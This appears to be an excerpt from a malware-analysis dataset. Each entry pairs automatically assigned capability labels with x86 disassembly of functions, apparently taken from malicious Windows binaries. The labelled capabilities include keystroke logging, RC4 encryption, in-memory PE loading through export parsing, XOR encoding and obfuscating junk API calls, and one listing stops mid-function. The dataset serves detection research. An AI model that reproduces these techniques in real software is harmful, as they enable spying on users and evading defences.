joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001b7d
Capabilities:
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x80
xor eax, eax
lea ecx, [esp + 0x6c]
lea edx, [esp + 0x78]
mov dword [esp + 0x68], ecx
mov dword [esp + 0x64], edx
mov dword [esp + 0x60], eax
jmp 0x10001c0b
xor eax, eax
xor ecx, ecx
mov edx, dword [esp + 0x5c]
sub edx, 0x11
mov dword [esp + 0x58], eax
mov dword [esp + 0x54], ecx
mov dword [esp + 0x50], edx
je 0x10001ca4
jmp 0x10001bc2
mov eax, dword [esp + 0x5c]
sub eax, 0x33
mov ecx, dword [esp + 0x54]
mov dword [esp + 0x4c], eax
mov dword [esp + 0x48], ecx
je 0x10001c41
jmp 0x10001cd3
mov eax, dword [esp + 0x44]
mov ecx, 0xf
mov dword [esp + 0x40], eax
xor edx, edx
div ecx
cmp edx, 1
je 0x10001c65
mov eax, dword [esp + 0x40]
add eax, 1
cmp eax, 0x201
mov dword [esp + 0x44], eax
je 0x10001ba3
jmp 0x10001bdc
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x64]
mov edx, dword [ecx]
mov esi, dword [ecx + 4]
mov edi, esp
mov dword [edi + 8], esi
mov dword [edi + 4], edx
mov dword [edi], 0xb8e4bd
mov edx, dword [sym.imp.USER32.dll_ChildWindowFromPoint]
mov dword [esp + 0x5c], eax
call edx
sub esp, 0xc
xor ecx, ecx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x44], ecx
jmp 0x10001bdc
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 0x38], eax
mov eax, esp
mov dword [eax], 0x21
mov eax, dword [sym.imp.USER32.dll_GetKeyState]
call eax
sub esp, 4
mov word [esp + 0x36], ax
jmp 0x10001ca4
mov dword [esp + 0x74], 0x2e6
mov dword [esp + 0x70], 0x30a
mov eax, esp
lea ecx, [esp + 0x70]
mov dword [eax + 0x10], ecx
lea ecx, [esp + 0x74]
mov dword [eax + 0xc], ecx
mov dword [eax + 8], ecx
mov dword [eax + 4], ecx
mov dword [eax], 0x9b9415
mov eax, dword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
call eax
sub esp, 0x14
mov dword [esp + 0x30], eax
jmp 0x10001bf5
mov eax, esp
mov dword [eax], 0x39956d
mov eax, dword [sym.imp.GDI32.dll_GetTextColor]
call eax
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x2fb925
mov ecx, dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [esp + 0x2c], eax
call ecx
sub esp, 4
mov dword [esp + 0x28], eax
jmp 0x10001d4d
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x68]
mov edx, dword [ecx]
mov esi, esp
mov dword [esi + 4], edx
mov dword [esi], 0xfe4f24
mov edx, dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
mov dword [esp + 0x24], eax
call edx
sub esp, 8
mov ecx, esp
mov dword [ecx], 0x58
mov ecx, dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov dword [esp + 0x20], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 8], 0x511
mov dword [ecx + 4], 0xbf6cc8
mov dword [ecx], 0xa9c017
mov ecx, dword [sym.imp.USER32.dll_GetUpdateRgn]
mov dword [esp + 0x1c], eax
call ecx
sub esp, 0xc
mov ecx, dword [esp + 0x24]
add ecx, 1
cmp ecx, 0xa
mov dword [esp + 0x18], eax
mov dword [esp + 0x48], ecx
jne 0x10001cd3
mov eax, dword [esp + 0x5c]
add eax, 1
cmp eax, 0x93
mov dword [esp + 0x60], eax
jne 0x10001c0b
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
Function at 0x10009f40
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10057ae0], 0
mov dword [0x10057ad8], 0x2a0
mov dword [0x10057adc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1000a030
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov edx, dword [0x10057ae0]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov eax, edi
cdq
idiv ecx
mov dword [0x10057ae0], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov dword [0x10057ad8], 0x1058
mov esi, dword [ebp - 0x18]
mov ch, byte [esi + edx]
mov byte [esi + edi], ch
mov edx, dword [0x10057ae0]
mov byte [esi + edx], cl
mov edx, dword [0x10057ad4]
add edx, 0x1601
mov dword [0x10057ad8], edx
mov edx, dword [0x10057adc]
add edx, 1
mov dword [0x10057adc], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x10009f83
jmp 0x1000a058
xor eax, eax
mov dword [0x10057ad4], 0xefd
mov dword [0x10057adc], 0
mov dword [ebp - 0x20], eax
jmp 0x10009f83
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10057adc]
add eax, 1
mov dword [0x10057adc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1000a030
jmp 0x1000a012
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000a31f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x10057ad4]
add esi, 0xffffdea2
mov dword [0x10057ad4], esi
mov esi, dword [0x10057ad8]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], edx
jmp 0x1000a414
mov eax, dword [ebp - 0x38]
add eax, 0x15ec
mov dword [0x10057ad8], 0x2003
mov dword [ebp - 0x3c], eax
jmp 0x1000a480
mov eax, dword [ebp - 0x40]
mov dword [0x10057ad4], 0x1204
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x10057ad8]
add ecx, 0xfffff547
mov dword [0x10057ad8], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x38], eax
call fcn.1000b14b
xor eax, eax
mov ecx, dword [ebp - 0x38]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x10057ad8], 0x4ee
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov dword [0x10057ad4], 0x8dc
mov edx, dword [ebp - 0x2c]
mov dword [edx], ecx
mov ecx, dword [ebp - 0x38]
mov dword [edx + 0x38], ecx
cmp ecx, 0
mov dword [ebp - 0x3c], eax
je 0x1000a480
jmp 0x1000a357
mov eax, dword [ebp - 0x34]
mov cl, byte [eax + 0x1000c75a]
mov dl, byte [eax + 0x1000c72b]
sub dl, cl
mov byte [ebp + eax - 0x24], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x34], eax
jne 0x1000a414
lea eax, [ebp - 0x24]
mov ecx, dword [ebp - 0x30]
add ecx, 0xfffff77a
mov dword [0x10057ad4], ecx
mov dword [ebp - 0x44], eax
call fcn.1000b26b
mov dword [esp], eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
call fcn.1000a717
xor ecx, ecx
mov dword [0x10057ad8], 0xddf
cmp eax, 0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
jne 0x1000a371
mov eax, dword [ebp - 0x3c]
add esp, 0x50
pop esi
pop ebp
ret

Function at 0x1000a489
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x10057ad4], 0x68f
mov dword [0x10057adc], 0
mov dword [0x10057ae0], 0
mov dword [0x10057ae4], 0
mov dword [0x10057ad8], 0x20da
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x1000a5cb
Function at 0x1000aba7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.1000ad29
xor ecx, ecx
mov edx, eax
mov dword [0x10057ad4], 0x2395
mov esi, dword [eax + 0x3c]
mov dword [0x10057ad8], 0xffffeb9a
mov dword [0x10057ad4], 0x1e6a
mov esi, dword [eax + esi + 0x78]
mov dword [0x10057ad4], 0x359
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov ebx, dword [eax + esi + 0x24]
mov dword [0x10057ad8], 0xffffd6b4
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], ecx
je 0x1000ac9b
jmp 0x1000ace0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov esi, dword [ebp - 0x24]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov ecx, eax
mov edx, dword [ebp - 0x3c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x45], bh
mov byte [ebp - 0x46], cl
je 0x1000acd7
jmp 0x1000acf5
mov eax, dword [ebp - 0x38]
add eax, 2
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], ecx
xor eax, eax
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x18]
cmp ecx, edx
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], eax
jb 0x1000ac24
mov eax, dword [ebp - 0x28]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x38]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x10057ad8], 0x1745
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [0x10057ad4], 0x11fb
mov dword [ebp - 0x28], edx
jmp 0x1000ac9b
mov al, byte [ebp - 0x46]
test al, 1
jne 0x1000aca6
jmp 0x1000ac6c
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, edx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], eax
jmp 0x1000ac24
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x54], eax
mov al, byte [ebp - 0x45]
cmp al, 0
setne cl
mov dl, byte [ebp - 0x46]
and dl, cl
mov esi, dword [ebp - 0x54]
cmp esi, 0x20
setb cl
and dl, cl
test dl, 1
mov dword [ebp - 0x40], esi
jne 0x1000ac3e
jmp 0x1000acd7
Function at 0x1000b3cd
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov dword [0x10057ad4], 0xdf9
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1000a8cc
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x54], ecx
mov dword [esp + 0x8c], 0x120800
mov ecx, dword [0x10057ac0]
mov dword [esp + 0x34], ecx
mov ecx, dword [0x10057ac4]
mov dword [esp + 0x40], ecx
mov ecx, dword [0x10057ac8]
mov dword [esp + 0x44], ecx
mov ecx, dword [0x10057acc]
mov dword [esp + 0x74], ecx
mov dword [esp + 0x18], eax
lea eax, [0x1000b376]
mov ecx, dword [0x10057ad0]
mov dword [esp + 0x38], ecx
mov dword [0x10057ad4], 0xfffffbee
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x1000b480
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
mov dword [esp + 0xc], ecx
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
cmp dword [eax + ecx], 0x4550
je 0x1000b494
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x1000b455
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x70], ecx
mov dword [0x10057ad8], 0xffffeb9a
mov edx, dword [esp + 0xc]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x80], esi
mov dword [0x10057ad4], 0x11c2
mov esi, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.1000a31f
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov ecx, dword [0x10057ad4]
add ecx, 0xffffe901
mov dword [0x10057ad8], ecx
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x409818
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44e5b8]
jne 0x409822
repz ret
jmp fcn.0040bfe6

Function at 0x40aef0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44e5b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00407608
and dword [ebp - 0x14], 0
cmp dword [0x45272c], 0
mov dword [ebp - 0x18], eax
jne 0x40afa3
push 0x402218
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40b04b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40220c
push ebx
call edi
test eax, eax
je 0x40b04b
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x4021fc
push ebx
mov dword [0x45272c], eax
call edi
push eax
call esi
push 0x4021e8
push ebx
mov dword [0x452730], eax
call edi
push eax
call esi
push 0x4021cc
push ebx
mov dword [0x452734], eax
call edi
push eax
call esi
mov dword [0x45273c], eax
test eax, eax
je 0x40afa3
push 0x4021b4
push ebx
call edi
push eax
call esi
mov dword [0x452738], eax
mov eax, dword [0x452738]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40affc
cmp dword [0x45273c], ecx
je 0x40affc
push eax
call esi
push dword [0x45273c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40affc
test ebx, ebx
je 0x40affc
call edi
test eax, eax
je 0x40aff3
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40aff3
test byte [ebp - 8], 1
jne 0x40affc
or dword [ebp + 0x10], 0x200000
jmp 0x40b02f
mov eax, dword [0x452730]
cmp eax, dword [ebp - 0x18]
je 0x40b02f
push eax
call esi
test eax, eax
je 0x40b02f
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40b02f
mov eax, dword [0x452734]
cmp eax, dword [ebp - 0x18]
je 0x40b02f
push eax
call esi
test eax, eax
je 0x40b02f
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x45272c]
call esi
test eax, eax
je 0x40b04b
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40b04d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409818
leave
ret
Function at 0x431380
Capabilities:
Accept command line arguments
Delete directory
Get common file path

Disassembly:
mov eax, 0x10f4
call fcn.0040d680
cmp dword [0x25a1ab4], 0x37
jne 0x431496
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x40328c
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_RequestDeviceWakeup]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push 0
lea eax, [esp + 0xf4]
push eax
push 0x4032b0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea ecx, [esp + 0x8f4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 0x28]
push edx
push 0
lea eax, [esp + 0x34]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea ecx, [esp + 0x24]
push ecx
push 0x40329c
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
lea edx, [esp + 0x4f0]
push edx
push 0
push 0x403310
push 0x403318
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0x403380
push 0x4033d0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
xor eax, eax
xor ecx, ecx
lea edx, [esp + 0x14]
mov word [esp + 4], ax
mov dword [esp + 6], eax
mov dword [esp + 0xa], eax
mov dword [esp + 0xe], eax
mov word [esp + 0x12], ax
mov dword [esp + 0x16], eax
mov dword [esp + 0x1a], eax
mov dword [esp + 0x1e], eax
mov word [esp + 0x22], ax
push edx
lea eax, [esp + 8]
mov word [esp + 0x18], cx
push eax
lea ecx, [esp + 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
mov edx, dword [0x25a1ab8]
mov dword [esp], edx
mov eax, 0x5d1
add dword [esp], eax
mov eax, dword [esp]
mov cl, byte [eax + esi]
mov edx, dword [0x457844]
mov byte [edx + esi], cl
add esp, 0x10f4
ret
Function at 0x4314c0
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0xc0
mov eax, dword [esp + 0xc4]
mov ecx, dword [eax]
mov edx, dword [0x44ef34]
push ebx
push ebp
push esi
mov esi, dword [eax + 4]
mov eax, dword [0x44ef30]
mov dword [esp + 0x24], eax
mov eax, dword [0x44ef38]
mov dword [esp + 0x20], edx
mov edx, dword [0x44ef3c]
push edi
mov dword [esp + 0x18], ecx
mov edi, 0xc6ef3720
mov dword [esp + 0x2c], eax
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0x20
jmp 0x431514
mov ecx, dword [esp + 0x18]
mov eax, ecx
shl eax, 4
add eax, dword [esp + 0x2c]
lea ebx, [edi + ecx]
shr ecx, 5
cmp dword [0x25a1ab4], 0x1b
mov dword [esp + 0x14], eax
mov ebp, ecx
jne 0x431548
push 0
lea eax, [esp + 0x4c]
push eax
push 0x403258
call dword [sym.imp.KERNEL32.dll_OpenFile]
mov eax, dword [esp + 0x14]
add ebp, dword [esp + 0x20]
mov dword [0x2597a64], 0
xor ebp, ebx
xor ebp, eax
sub esi, ebp
mov edx, esi
shl edx, 4
mov dword [esp + 0x14], edx
mov eax, dword [esp + 0x28]
add dword [esp + 0x14], eax
cmp dword [0x25a1ab4], 0x1be
lea ebx, [edi + esi]
jne 0x431590
lea eax, [esp + 0x30]
push eax
push 0
lea ecx, [esp + 0x3c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov edx, esi
shr edx, 5
add edx, dword [esp + 0x24]
mov dword [0x2597a68], 0xff6b3619
xor edx, ebx
xor dword [esp + 0x14], edx
mov dword [0x2597a6c], 0xffffffff
mov eax, dword [esp + 0x14]
sub dword [esp + 0x18], eax
add edi, 0x61c88647
dec dword [esp + 0x1c]
jne 0x431510
cmp dword [0x25a1ab4], 0x8d4
jne 0x4315ff
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [esp + 0xd4]
mov ecx, dword [esp + 0x18]
mov dword [eax], ecx
mov dword [eax + 4], esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc0
ret 4
mov eax, dword [esp + 0xd4]
mov edx, dword [esp + 0x18]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], edx
pop ebx
add esp, 0xc0
ret 4

Function at 0x431680
Capabilities:
Manipulate console buffer

Disassembly:
mov eax, dword [0x25a1ab4]
sub esp, 8
push ebx
push esi
mov esi, dword [0x457844]
shr eax, 3
push edi
test eax, eax
je 0x4316c2
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov edi, eax
cmp dword [0x25a1ab4], 0x1c
jne 0x4316b6
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0
call ebx
push esi
call fcn.004314c0
add esi, 8
dec edi
jne 0x4316a0
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x4028c8
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov esi, edx
mov ebx, eax
test ebx, ebx
jne 0x4028f7
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403b9c
jmp 0x402915
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, esi
mov eax, edi
call fcn.00402850
mov edi, eax
test ebx, ebx
je 0x402915
cmp dword [esi], 0
je 0x402915
dec ebx
jmp 0x4028fe
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402b04
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x4fb040], 0x8088405
inc edx
mov dword [0x4fb040], edx
mul edx
mov eax, edx
ret

Function at 0x402c5c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402cf4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402cd4
xor eax, eax
push ebp
push 0x402ccd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402d10
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402cd4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret
Function at 0x4056c8
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x405884
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405729
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x4058a0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40579b
xor eax, eax
push ebp
push 0x405794
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
call fcn.00405520
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40577d
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4058c0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40579b
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x40587c
cmp byte [ebp - 0xd], 0
jne 0x4057dd
cmp byte [ebp - 0x12], 0
je 0x40587c
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x4057f6
dec ebx
cmp byte [ebx], 0x2e
je 0x405805
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x4057f5
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x40587c
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405832
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40587c
cmp byte [ebp - 0xd], 0
je 0x40587c
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40587c
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40ae64
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40ae9d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403b9c
jmp 0x40aea6
mov eax, ebx
mov edx, esi
call fcn.00403b08
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40aeb0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40aed1
mov al, byte [esp]
jmp 0x40aed3
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x419058
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41905e
ret

Function at 0x41b6a8
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41b6f9
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41b6e0
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41b6d0
jmp 0x41b6f9
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41b6e1
pop ebx
mov esp, ebp
pop ebp
ret